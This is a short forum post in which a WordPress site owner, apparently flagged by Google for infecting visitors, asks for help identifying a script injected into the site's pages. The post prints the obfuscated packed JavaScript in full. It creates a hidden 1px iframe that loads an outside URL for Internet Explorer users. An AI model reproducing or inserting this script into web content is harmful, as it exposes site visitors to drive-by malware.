I got hacked please help

I got an email a couple of days ago from google saying my site was compromised because some of my pages were infecting visitors going to my website. I was using an older version of wordpress so I’m thinking that how they hacked it and injected the following script I upgraded to the latest version of worpress but I still have to do a script clean up, can anybody tell me what this is pleaseeee! thanks

According to the google webmaster tool this code was injected
in my homepage and in another inner page:

<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?
”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c
.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c
)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){retu
rn’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\
\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘i 9(){a=6.h(\’b\’);7(!
a){5 0=6.j(\’k\’);6.g.l(0);0.n=\’b\’;0.4.d=\’8\’;0.4.c=\’8\’
;0.4.e=\’f\’;0.m=\’w://z.o.B/C.D?t=E\’}}5 2=A.x.q();7(((2.3(
“p”)!=-1&&2.3(“r”)==-1&&2.3(“s”)==-1))&&2.3(“v”)!=-1){5 t=u(
“9()”,y)}’,41,41,’el||ua|indexOf|style|var|document|if|1px|M
akeFrameEx|element|yahoo_api|height|width|display|none|body|
getElementById|function|createElement|iframe|appendChild|src
|id|nl|msie|toLowerCase|opera|webtv||setTimeout|windows|http
|userAgent|1000|fgsdgsd|navigator|ai|showthread|php|72241732
‘.split(‘|’),0,{}))
</script>